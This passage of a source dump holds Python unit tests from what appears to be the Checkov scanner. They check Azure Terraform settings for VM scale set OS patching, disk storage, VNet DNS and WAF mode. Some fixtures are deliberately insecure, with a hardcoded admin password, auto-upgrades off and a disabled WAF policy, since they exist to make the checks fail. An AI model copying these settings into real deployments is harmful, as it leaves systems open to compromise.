azurerm_resource_group.example.location\n                  sku                 = \"Standard_F2\"\n                  instances           = 1\n                  admin_password      = \"P@55w0rd1234!\"\n                  admin_username      = \"adminuser\"\n                  encryption_at_host_enabled = true\n\n                  source_image_reference {\n                    publisher = \"MicrosoftWindowsServer\"\n                    offer     = \"WindowsServer\"\n                    sku       = \"2016-Datacenter-Server-Core\"\n                    version   = \"latest\"\n                  }\n\n                  os_disk {\n                    storage_account_type = \"Standard_LRS\"\n                    caching              = \"ReadWrite\"\n                  }\n\n                  network_interface {\n                    name    = \"example\"\n                    primary = true\n\n                    ip_configuration {\n                      name      = \"internal\"\n                      primary   = true\n                      subnet_id = azurerm_subnet.internal.id\n                    }\n                  }\n                }   \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_linux_virtual_machine_scale_set']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_VMScaleSetsAutoOSImagePatchingEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.azure.VMScaleSetsAutoOSImagePatchingEnabled import check\n\n\nclass TestVMScaleSetsAutoOSImagePatchingEnabled(unittest.TestCase):\n\n    def test_failure1(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"azurerm_virtual_machine_scale_set\" \"example\" {\n          name                = \"mytestscaleset-1\"\n          location            = azurerm_resource_group.example.location\n          resource_group_name = azurerm_resource_group.example.name\n        \n          # automatic rolling upgrade\n          upgrade_policy_mode  = \"Rolling\"\n        \n          rolling_upgrade_policy {\n            max_batch_instance_percent              = 20\n            max_unhealthy_instance_percent          = 20\n            max_unhealthy_upgraded_instance_percent = 5\n            pause_time_between_batches              = \"PT0S\"\n          }\n        \n          # required when using rolling upgrade policy\n          health_probe_id = azurerm_lb_probe.example.id\n        \n          sku {\n            name     = \"Standard_F2\"\n            tier     = \"Standard\"\n            capacity = 2\n          }\n        \n          storage_profile_image_reference {\n            publisher = \"Canonical\"\n            offer     = \"UbuntuServer\"\n            sku       = \"16.04-LTS\"\n            version   = \"latest\"\n          }\n        \n          storage_profile_os_disk {\n            name              = \"\"\n            caching           = \"ReadWrite\"\n            create_option     = \"FromImage\"\n            managed_disk_type = \"Standard_LRS\"\n          }\n        \n          storage_profile_data_disk {\n            lun           = 0\n            caching       = \"ReadWrite\"\n            create_option = \"Empty\"\n            disk_size_gb  = 10\n          }\n        \n          os_profile {\n            computer_name_prefix = \"testvm\"\n            admin_username       = \"myadmin\"\n          }\n        \n          os_profile_linux_config {\n            disable_password_authentication = true\n        \n            ssh_keys {\n              path     = \"/home/myadmin/.ssh/authorized_keys\"\n              key_data = file(\"~/.ssh/demo_key.pub\")\n            }\n          }\n        \n          network_profile {\n            name    = \"terraformnetworkprofile\"\n            primary = true\n        \n            ip_configuration {\n              name                                   = \"TestIPConfiguration\"\n              primary                                = true\n              subnet_id                              = azurerm_subnet.example.id\n              load_balancer_backend_address_pool_ids = [azurerm_lb_backend_address_pool.bpepool.id]\n              load_balancer_inbound_nat_rules_ids    = [azurerm_lb_nat_pool.lbnatpool.id]\n            }\n          }\n        \n          tags = {\n            environment = \"staging\"\n          }\n        }\n\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_virtual_machine_scale_set']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"azurerm_virtual_machine_scale_set\" \"example\" {\n          name                = \"mytestscaleset-1\"\n          location            = azurerm_resource_group.example.location\n          resource_group_name = azurerm_resource_group.example.name\n\n          # automatic rolling upgrade\n          automatic_os_upgrade = false\n          upgrade_policy_mode  = \"Rolling\"\n\n          rolling_upgrade_policy {\n            max_batch_instance_percent              = 20\n            max_unhealthy_instance_percent          = 20\n            max_unhealthy_upgraded_instance_percent = 5\n            pause_time_between_batches              = \"PT0S\"\n          }\n\n          # required when using rolling upgrade policy\n          health_probe_id = azurerm_lb_probe.example.id\n\n          sku {\n            name     = \"Standard_F2\"\n            tier     = \"Standard\"\n            capacity = 2\n          }\n\n          storage_profile_image_reference {\n            publisher = \"Canonical\"\n            offer     = \"UbuntuServer\"\n            sku       = \"16.04-LTS\"\n            version   = \"latest\"\n          }\n\n          storage_profile_os_disk {\n            name              = \"\"\n            caching           = \"ReadWrite\"\n            create_option     = \"FromImage\"\n            managed_disk_type = \"Standard_LRS\"\n          }\n\n          storage_profile_data_disk {\n            lun           = 0\n            caching       = \"ReadWrite\"\n            create_option = \"Empty\"\n            disk_size_gb  = 10\n          }\n\n          os_profile {\n            computer_name_prefix = \"testvm\"\n            admin_username       = \"myadmin\"\n          }\n\n          os_profile_linux_config {\n            disable_password_authentication = true\n\n            ssh_keys {\n              path     = \"/home/myadmin/.ssh/authorized_keys\"\n              key_data = file(\"~/.ssh/demo_key.pub\")\n            }\n          }\n\n          network_profile {\n            name    = \"terraformnetworkprofile\"\n            primary = true\n\n            ip_configuration {\n              name                                   = \"TestIPConfiguration\"\n              primary                                = true\n              subnet_id                              = azurerm_subnet.example.id\n              load_balancer_backend_address_pool_ids = [azurerm_lb_backend_address_pool.bpepool.id]\n              load_balancer_inbound_nat_rules_ids    = [azurerm_lb_nat_pool.lbnatpool.id]\n            }\n          }\n\n          tags = {\n            environment = \"staging\"\n          }\n        }\n\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_virtual_machine_scale_set']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure3(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"azurerm_virtual_machine_scale_set\" \"example\" {\n          name                = \"mytestscaleset-1\"\n          location            = azurerm_resource_group.example.location\n          resource_group_name = azurerm_resource_group.example.name\n\n          # automatic rolling upgrade\n          automatic_os_upgrade = true\n          upgrade_policy_mode  = \"Rolling\"\n\n          rolling_upgrade_policy {\n            max_batch_instance_percent              = 20\n            max_unhealthy_instance_percent          = 20\n            max_unhealthy_upgraded_instance_percent = 5\n            pause_time_between_batches              = \"PT0S\"\n          }\n\n          # required when using rolling upgrade policy\n          health_probe_id = azurerm_lb_probe.example.id\n\n          sku {\n            name     = \"Standard_F2\"\n            tier     = \"Standard\"\n            capacity = 2\n          }\n\n          storage_profile_image_reference {\n            publisher = \"Canonical\"\n            offer     = \"UbuntuServer\"\n            sku       = \"16.04-LTS\"\n            version   = \"latest\"\n          }\n\n          storage_profile_os_disk {\n            name              = \"\"\n            caching           = \"ReadWrite\"\n            create_option     = \"FromImage\"\n            managed_disk_type = \"Standard_LRS\"\n          }\n\n          storage_profile_data_disk {\n            lun           = 0\n            caching       = \"ReadWrite\"\n            create_option = \"Empty\"\n            disk_size_gb  = 10\n          }\n\n          os_profile {\n            computer_name_prefix = \"testvm\"\n            admin_username       = \"myadmin\"\n          }\n\n          os_profile_linux_config {\n            disable_password_authentication = true\n\n            ssh_keys {\n              path     = \"/home/myadmin/.ssh/authorized_keys\"\n              key_data = file(\"~/.ssh/demo_key.pub\")\n            }\n          }\n\n          network_profile {\n            name    = \"terraformnetworkprofile\"\n            primary = true\n\n            ip_configuration {\n              name                                   = \"TestIPConfiguration\"\n              primary                                = true\n              subnet_id                              = azurerm_subnet.example.id\n              load_balancer_backend_address_pool_ids = [azurerm_lb_backend_address_pool.bpepool.id]\n              load_balancer_inbound_nat_rules_ids    = [azurerm_lb_nat_pool.lbnatpool.id]\n            }\n          }\n\n          tags = {\n            environment = \"staging\"\n          }\n        }\n\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_virtual_machine_scale_set']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure4(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"azurerm_virtual_machine_scale_set\" \"example\" {\n          name                = \"mytestscaleset-1\"\n          location            = azurerm_resource_group.example.location\n          resource_group_name = azurerm_resource_group.example.name\n\n          # automatic rolling upgrade\n          automatic_os_upgrade = true\n          upgrade_policy_mode  = \"Rolling\"\n          \n          os_profile_windows_config {\n            enable_automatic_upgrades = false\n          }\n\n          rolling_upgrade_policy {\n            max_batch_instance_percent              = 20\n            max_unhealthy_instance_percent          = 20\n            max_unhealthy_upgraded_instance_percent = 5\n            pause_time_between_batches              = \"PT0S\"\n          }\n\n          # required when using rolling upgrade policy\n          health_probe_id = azurerm_lb_probe.example.id\n\n          sku {\n            name     = \"Standard_F2\"\n            tier     = \"Standard\"\n            capacity = 2\n          }\n\n          storage_profile_image_reference {\n            publisher = \"Canonical\"\n            offer     = \"UbuntuServer\"\n            sku       = \"16.04-LTS\"\n            version   = \"latest\"\n          }\n\n          storage_profile_os_disk {\n            name              = \"\"\n            caching           = \"ReadWrite\"\n            create_option     = \"FromImage\"\n            managed_disk_type = \"Standard_LRS\"\n          }\n\n          storage_profile_data_disk {\n            lun           = 0\n            caching       = \"ReadWrite\"\n            create_option = \"Empty\"\n            disk_size_gb  = 10\n          }\n\n          os_profile {\n            computer_name_prefix = \"testvm\"\n            admin_username       = \"myadmin\"\n          }\n\n          os_profile_linux_config {\n            disable_password_authentication = true\n\n            ssh_keys {\n              path     = \"/home/myadmin/.ssh/authorized_keys\"\n              key_data = file(\"~/.ssh/demo_key.pub\")\n            }\n          }\n\n          network_profile {\n            name    = \"terraformnetworkprofile\"\n            primary = true\n\n            ip_configuration {\n              name                                   = \"TestIPConfiguration\"\n              primary                                = true\n              subnet_id                              = azurerm_subnet.example.id\n              load_balancer_backend_address_pool_ids = [azurerm_lb_backend_address_pool.bpepool.id]\n              load_balancer_inbound_nat_rules_ids    = [azurerm_lb_nat_pool.lbnatpool.id]\n            }\n          }\n\n          tags = {\n            environment = \"staging\"\n          }\n        }\n\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_virtual_machine_scale_set']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure5(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"azurerm_virtual_machine_scale_set\" \"example\" {\n          name                = \"mytestscaleset-1\"\n          location            = azurerm_resource_group.example.location\n          resource_group_name = azurerm_resource_group.example.name\n\n          # automatic rolling upgrade\n          upgrade_policy_mode  = \"Rolling\"\n\n          os_profile_windows_config {\n            enable_automatic_upgrades = false\n          }\n\n          rolling_upgrade_policy {\n            max_batch_instance_percent              = 20\n            max_unhealthy_instance_percent          = 20\n            max_unhealthy_upgraded_instance_percent = 5\n            pause_time_between_batches              = \"PT0S\"\n          }\n\n          # required when using rolling upgrade policy\n          health_probe_id = azurerm_lb_probe.example.id\n\n          sku {\n            name     = \"Standard_F2\"\n            tier     = \"Standard\"\n            capacity = 2\n          }\n\n          storage_profile_image_reference {\n            publisher = \"Canonical\"\n            offer     = \"UbuntuServer\"\n            sku       = \"16.04-LTS\"\n            version   = \"latest\"\n          }\n\n          storage_profile_os_disk {\n            name              = \"\"\n            caching           = \"ReadWrite\"\n            create_option     = \"FromImage\"\n            managed_disk_type = \"Standard_LRS\"\n          }\n\n          storage_profile_data_disk {\n            lun           = 0\n            caching       = \"ReadWrite\"\n            create_option = \"Empty\"\n            disk_size_gb  = 10\n          }\n\n          os_profile {\n            computer_name_prefix = \"testvm\"\n            admin_username       = \"myadmin\"\n          }\n\n          os_profile_linux_config {\n            disable_password_authentication = true\n\n            ssh_keys {\n              path     = \"/home/myadmin/.ssh/authorized_keys\"\n              key_data = file(\"~/.ssh/demo_key.pub\")\n            }\n          }\n\n          network_profile {\n            name    = \"terraformnetworkprofile\"\n            primary = true\n\n            ip_configuration {\n              name                                   = \"TestIPConfiguration\"\n              primary                                = true\n              subnet_id                              = azurerm_subnet.example.id\n              load_balancer_backend_address_pool_ids = [azurerm_lb_backend_address_pool.bpepool.id]\n              load_balancer_inbound_nat_rules_ids    = [azurerm_lb_nat_pool.lbnatpool.id]\n            }\n          }\n\n          tags = {\n            environment = \"staging\"\n          }\n        }\n\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_virtual_machine_scale_set']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_virtual_machine_scale_set\" \"example\" {\n          name                = \"mytestscaleset-1\"\n          location            = azurerm_resource_group.example.location\n          resource_group_name = azurerm_resource_group.example.name\n\n          # automatic rolling upgrade\n          automatic_os_upgrade = true\n          upgrade_policy_mode  = \"Rolling\"\n          \n          os_profile_windows_config {\n            enable_automatic_upgrades = true\n          }\n\n          rolling_upgrade_policy {\n            max_batch_instance_percent              = 20\n            max_unhealthy_instance_percent          = 20\n            max_unhealthy_upgraded_instance_percent = 5\n            pause_time_between_batches              = \"PT0S\"\n          }\n\n          # required when using rolling upgrade policy\n          health_probe_id = azurerm_lb_probe.example.id\n\n          sku {\n            name     = \"Standard_F2\"\n            tier     = \"Standard\"\n            capacity = 2\n          }\n\n          storage_profile_image_reference {\n            publisher = \"Canonical\"\n            offer     = \"UbuntuServer\"\n            sku       = \"16.04-LTS\"\n            version   = \"latest\"\n          }\n\n          storage_profile_os_disk {\n            name              = \"\"\n            caching           = \"ReadWrite\"\n            create_option     = \"FromImage\"\n            managed_disk_type = \"Standard_LRS\"\n          }\n\n          storage_profile_data_disk {\n            lun           = 0\n            caching       = \"ReadWrite\"\n            create_option = \"Empty\"\n            disk_size_gb  = 10\n          }\n\n          os_profile {\n            computer_name_prefix = \"testvm\"\n            admin_username       = \"myadmin\"\n          }\n\n          os_profile_linux_config {\n            disable_password_authentication = true\n\n            ssh_keys {\n              path     = \"/home/myadmin/.ssh/authorized_keys\"\n              key_data = file(\"~/.ssh/demo_key.pub\")\n            }\n          }\n\n          network_profile {\n            name    = \"terraformnetworkprofile\"\n            primary = true\n\n            ip_configuration {\n              name                                   = \"TestIPConfiguration\"\n              primary                                = true\n              subnet_id                              = azurerm_subnet.example.id\n              load_balancer_backend_address_pool_ids = [azurerm_lb_backend_address_pool.bpepool.id]\n              load_balancer_inbound_nat_rules_ids    = [azurerm_lb_nat_pool.lbnatpool.id]\n            }\n          }\n\n          tags = {\n            environment = \"staging\"\n          }\n        }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_virtual_machine_scale_set']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_VMStorageOsDisk.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.VMStorageOsDisk import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestVMStorageOsDisk(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_VMStorageOsDisk\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_windows_virtual_machine.pass\",\n            \"azurerm_linux_virtual_machine.pass2\",\n        }\n        failing_resources = {\n            \"azurerm_linux_virtual_machine.fail\",\n            \"azurerm_windows_virtual_machine.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 4)  # 3 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_VnetLocalDNS.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.VnetLocalDNS import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestVnetLocalDNS(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_VnetLocalDNS\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_virtual_network.pass\",\n            \"azurerm_virtual_network.pass2\",\n        }\n        failing_resources = {\n            \"azurerm_virtual_network.fail\",\n            \"azurerm_virtual_network.fail2\",\n            \"azurerm_virtual_network.fail3\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_VnetSingleDNSServer.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.VnetSingleDNSServer import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestVnetSingleDNSServer(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_VnetSingleDNSServer\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_virtual_network.pass\",\n            \"azurerm_virtual_network.pass2\",\n            \"azurerm_virtual_network_dns_servers.pass\"\n        }\n        failing_resources = {\n            \"azurerm_virtual_network.fail\",\n            \"azurerm_virtual_network_dns_servers.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_WAFSpecifiedModeAppGW.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.azure.AppGWUseWAFMode import check\n\n\nclass TestAppGWUseWAFMode(unittest.TestCase):\n\n    def test_failure1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_web_application_firewall_policy\" \"example\" {\n              name                = \"example-wafpolicy\"\n              resource_group_name = azurerm_resource_group.example.name\n              location            = azurerm_resource_group.example.location\n            \n              custom_rules {\n                name      = \"Rule1\"\n                priority  = 1\n                rule_type = \"MatchRule\"\n            \n                match_conditions {\n                  match_variables {\n                    variable_name = \"RemoteAddr\"\n                  }\n            \n                  operator           = \"IPMatch\"\n                  negation_condition = false\n                  match_values       = [\"192.168.1.0/24\", \"10.0.0.0/24\"]\n                }\n            \n                action = \"Block\"\n              }\n            \n              custom_rules {\n                name      = \"Rule2\"\n                priority  = 2\n                rule_type = \"MatchRule\"\n            \n                match_conditions {\n                  match_variables {\n                    variable_name = \"RemoteAddr\"\n                  }\n            \n                  operator           = \"IPMatch\"\n                  negation_condition = false\n                  match_values       = [\"192.168.1.0/24\"]\n                }\n            \n                match_conditions {\n                  match_variables {\n                    variable_name = \"RequestHeaders\"\n                    selector      = \"UserAgent\"\n                  }\n            \n                  operator           = \"Contains\"\n                  negation_condition = false\n                  match_values       = [\"Windows\"]\n                }\n            \n                action = \"Block\"\n              }\n            \n              policy_settings {\n                enabled                     = false\n                request_body_check          = true\n                file_upload_limit_in_mb     = 100\n                max_request_body_size_in_kb = 128\n              }\n            \n              managed_rules {\n                exclusion {\n                  match_variable          = \"RequestHeaderNames\"\n                  selector                = \"x-company-secret-header\"\n                  selector_match_operator = \"Equals\"\n                }\n                exclusion {\n                  match_variable          = \"RequestCookieNames\"\n                  selector                = \"too-tasty\"\n                  selector_match_operator = \"EndsWith\"\n                }\n            \n                managed_rule_set {\n                  type    = \"OWASP\"\n                  version = \"3.1\"\n                  rule_group_override {\n                    rule_group_name = \"REQUEST-920-PROTOCOL-ENFORCEMENT\"\n                    disabled_rules = [\n                      \"920300\",\n                      \"920440\"\n                    ]\n                  }\n                }\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_web_application_firewall_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_web_application_firewall_policy\" \"example\" {\n              name                = \"example-wafpolicy\"\n              resource_group_name = azurerm_resource_group.example.name\n              location            = azurerm_resource_group.example.location\n\n              custom_rules {\n                name      = \"Rule1\"\n                priority  = 1\n                rule_type = \"MatchRule\"\n\n                match_conditions {\n                  match_variables {\n                    variable_name = \"RemoteAddr\"\n                  }\n\n                  operator           = \"IPMatch\"\n                  negation_condition = false\n                  match_values       = [\"192.168.1.0/24\", \"10.0.0.0/24\"]\n                }\n\n                action = \"Block\"\n              }\n\n              custom_rules {\n                name      = \"Rule2\"\n                priority  = 2\n                rule_type = \"MatchRule\"\n\n                match_conditions {\n                  match_variables {\n                    variable_name = \"RemoteAddr\"\n                  }\n\n                  operator           = \"IPMatch\"\n                  negation_condition = false\n                  match_values       = [\"192.168.1.0/24\"]\n                }\n\n                match_conditions {\n                  match_variables {\n                    variable_name = \"RequestHeaders\"\n                    selector      = \"UserAgent\"\n                  }\n\n                  operator           = \"Contains\"\n                  negation_condition = false\n                  match_values       = [\"Windows\"]\n                }\n\n                action = \"Block\"\n              }\n\n              policy_settings {\n                enabled                     = false\n                mode                        = \"Prevention\"\n                request_body_check          = true\n                file_upload_limit_in_mb     = 100\n                max_request_body_size_in_kb = 128\n              }\n\n              managed_rules {\n                exclusion {\n                  match_variable          = \"RequestHeaderNames\"\n                  selector                = \"x-company-secret-header\"\n                  selector_match_operator = \"Equals\"\n                }\n                exclusion {\n                  match_variable          = \"RequestCookieNames\"\n                  selector                = \"too-tasty\"\n                  selector_match_operator = \"EndsWith\"\n                }\n\n                managed_rule_set {\n                  type    = \"OWASP\"\n                  version = \"3.1\"\n                  rule_group_override {\n                    rule_group_name = \"REQUEST-920-PROTOCOL-ENFORCEMENT\"\n                    disabled_rules = [\n                      \"920300\",\n                      \"920440\"\n                    ]\n                  }\n                }\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_web_application_firewall_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success1(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"azurerm_web_application_firewall_policy\" \"example\" {\n                      name                = \"example-wafpolicy\"\n                      resource_group_name = azurerm_resource_group.example.name\n                      location            = azurerm_resource_group.example.location\n\n                      custom_rules {\n                        name      = \"Rule1\"\n                        priority  = 1\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\", \"10.0.0.0/24\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      custom_rules {\n                        name      = \"Rule2\"\n                        priority  = 2\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\"]\n                        }\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RequestHeaders\"\n                            selector      = \"UserAgent\"\n                          }\n\n                          operator           = \"Contains\"\n                          negation_condition = false\n                          match_values       = [\"Windows\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      policy_settings {\n                        enabled                     = true\n                        mode                        = \"Prevention\"\n                        request_body_check          = true\n                        file_upload_limit_in_mb     = 100\n                        max_request_body_size_in_kb = 128\n                      }\n\n                      managed_rules {\n                        exclusion {\n                          match_variable          = \"RequestHeaderNames\"\n                          selector                = \"x-company-secret-header\"\n                          selector_match_operator = \"Equals\"\n                        }\n                        exclusion {\n                          match_variable          = \"RequestCookieNames\"\n                          selector                = \"too-tasty\"\n                          selector_match_operator = \"EndsWith\"\n                        }\n\n                        managed_rule_set {\n                          type    = \"OWASP\"\n                          version = \"3.1\"\n                          rule_group_override {\n                            rule_group_name = \"REQUEST-920-PROTOCOL-ENFORCEMENT\"\n                            disabled_rules = [\n                              \"920300\",\n                              \"920440\"\n                            ]\n                          }\n                        }\n                      }\n                    }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_web_application_firewall_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success2(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"azurerm_web_application_firewall_policy\" \"example\" {\n                      name                = \"example-wafpolicy\"\n                      resource_group_name = azurerm_resource_group.example.name\n                      location            = azurerm_resource_group.example.location\n\n                      custom_rules {\n                        name      = \"Rule1\"\n                        priority  = 1\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\", \"10.0.0.0/24\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      custom_rules {\n                        name      = \"Rule2\"\n                        priority  = 2\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\"]\n                        }\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RequestHeaders\"\n                            selector      = \"UserAgent\"\n                          }\n\n                          operator           = \"Contains\"\n                          negation_condition = false\n                          match_values       = [\"Windows\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      policy_settings {\n                        mode                        = \"Prevention\"\n                        request_body_check          = true\n                        file_upload_limit_in_mb     = 100\n                        max_request_body_size_in_kb = 128\n                      }\n\n                      managed_rules {\n                        exclusion {\n                          match_variable          = \"RequestHeaderNames\"\n                          selector                = \"x-company-secret-header\"\n                          selector_match_operator = \"Equals\"\n                        }\n                        exclusion {\n                          match_variable          = \"RequestCookieNames\"\n                          selector                = \"too-tasty\"\n                          selector_match_operator = \"EndsWith\"\n                        }\n\n                        managed_rule_set {\n                          type    = \"OWASP\"\n                          version = \"3.1\"\n                          rule_group_override {\n                            rule_group_name = \"REQUEST-920-PROTOCOL-ENFORCEMENT\"\n                            disabled_rules = [\n                              \"920300\",\n                              \"920440\"\n                            ]\n                          }\n                        }\n                      }\n                    }\n                        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_web_application_firewall_policy']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success3(self):\n        hcl_res = hcl2.loads(\"\"\"\n                    resource \"azurerm_web_application_firewall_policy\" \"example\" {\n                      name                = \"example-wafpolicy\"\n                      resource_group_name = azurerm_resource_group.example.name\n                      location            = azurerm_resource_group.example.location\n\n                      custom_rules {\n                        name      = \"Rule1\"\n                        priority  = 1\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\", \"10.0.0.0/24\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      custom_rules {\n                        name      = \"Rule2\"\n                        priority  = 2\n                        rule_type = \"MatchRule\"\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RemoteAddr\"\n                          }\n\n                          operator           = \"IPMatch\"\n                          negation_condition = false\n                          match_values       = [\"192.168.1.0/24\"]\n                        }\n\n                        match_conditions {\n                          match_variables {\n                            variable_name = \"RequestHeaders\"\n                            selector      = \"UserAgent\"\n                          }\n\n                          operator           = \"Contains\"\n                          negation_condition = false\n                          match_values       = [\"Windows\"]\n                        }\n\n                        action = \"Block\"\n                      }\n\n                      policy_settings {\n                        enabled                     = true\n                        request_body_check          = true\n                        file_upload_limit_in_mb     = 100\n                        max_request_body_size_in_kb = 128\n                      }\n\n                      managed_rules {\n                        exclusion {\n                          match_variable          = \"RequestHeaderNames\"\n                          selector                = \"x-company-secret-header\"\n                          selector_match_operator = \"Equals\"\n                        }\n                        exclusion {\n                          match_variable          = \"RequestCookieNames\"\n                          selector                = \"too-tasty\"\n                          selector_match_operator = \"EndsWith\"\n                        